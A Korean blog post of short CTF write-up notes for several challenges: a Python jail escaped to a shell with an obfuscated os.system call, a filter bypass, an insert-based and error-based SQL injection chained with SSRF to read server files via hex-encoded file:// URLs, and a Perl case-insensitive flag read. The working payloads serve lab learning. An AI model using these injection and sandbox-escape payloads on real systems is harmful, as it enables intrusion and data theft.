그냥 푼것중에 좀 쓸만하다 대충 메모.
Prision 인가 파이제일 문제
뭘 입력해도 값이 안오는데 문제 이름이나 설명보면 젤브레이크는 맞는거 같고 하다가,
help() 를 쳤더니, 연결은 끊기지 않은 채로 아무것도 안나왔다.
그래서, help("print") 같은걸로 했는데 막 뭐가 나오기 시작했다.
그래서 아 실행 되는구나랑, 이걸로 필터링 체크가 가능하겠다 싶어서,
help("os") 이런식으로 필터링 체크를 했고,
getattr(__import__("o"+"s"),"sy"+"stem")("sh")
같은걸로 쉘땄다.
READ FLAG
CTF 끝나고 풀었다.
힌트로 _ 우회된다는데, CTF 시간때는 로컬에서 퍼징했을때 아무것도 안되서 포기하고 아카이브 했는데,
대회 끝나고 서버에다가 퍼징하니까 + 로 풀렸다,,, 왜 우회되는지는 모르겟음,,
show+source=/hackingcamp17/flag
아카이브.is
이것도 끝나고 풀었다.
아니 문제 보자마자 ' 먹혀서 Insert based Sql injection 을 찾았고,
SSRF 문제인걸 바로 알았는데다, Error based Sql injection 으로 Query 문도 구했는데,
뭔가 꼬였길래 대회시간안에 못풀었다.
끝나고 15분 후에나 풀린,,,
azsdf',0, '' , ( (select INFO from information_schema.processlist where INFO is not null) ) ), (1234,0x66696C653A2F2F2F70726F632F6377642F73656C662F696E6465782E706870, 1000, '', 2)-- -
azsdf',0, '' , substring( (select INFO from information_schema.processlist where INFO is not null) ,30,150) ), (1234,0x66696C653A2F2F2F70726F632F6377642F73656C662F696E6465782E706870, 1000, '', 2)-- -
다음과 같은 쿼리로 Sql query 를 가져온다. ( substring 은 LENGTH 로 본 쿼리 총 길이가 528 인가 그랬는데, 128자인가 밖에 안나와서 뒤에더 보려고 썼다.)
그리고 결과 총합하면
INSERT INTO `archive` (`id`, `url`, `status`,`contents`, `uploadtime`) VALUES ('82a2788d1a4ec7ef241f352ec578b112c850e86e1a881b8c24c24c836fdf5e21', ~~~ )
꼴의 쿼리가 나온다. ( 추후 SSRF 로 코드 읽으면 저 id value 는 PHPSESSID 의 sha256 한 값이다 )
그래서 Insert based sqli 진행해서 file:///proc/self/cwd/index.php 를 읽으면 된다.
',0,'',NOW()), ("82a2788d1a4ec7ef241f352ec578b112c850e86e1a881b8c24c24c836fdf5e21", 0x66696C653A2F2F2F70726F632F73656C662F6377642F696E6465782E706870,0,'',NOW())-- -
같은 페이로드로 넣고
인덱스 가서 읽으면 된다.
Perl머시기
perl 에서는 file read 할때 대소문자 구분을 안하나 보다.
FLAG 로 읽으면 읽힌다.
'CTF Writeup' 카테고리의 다른 글
XCTF (0) | 2018.04.14 |
---|---|
Codegate2018 (0) | 2018.04.06 |
CodeGate2018 Junior Writeup (0) | 2018.02.07 |
[ROOT] Write up (0) | 2017.12.24 |
[SECCON] writeup (0) | 2017.12.10 |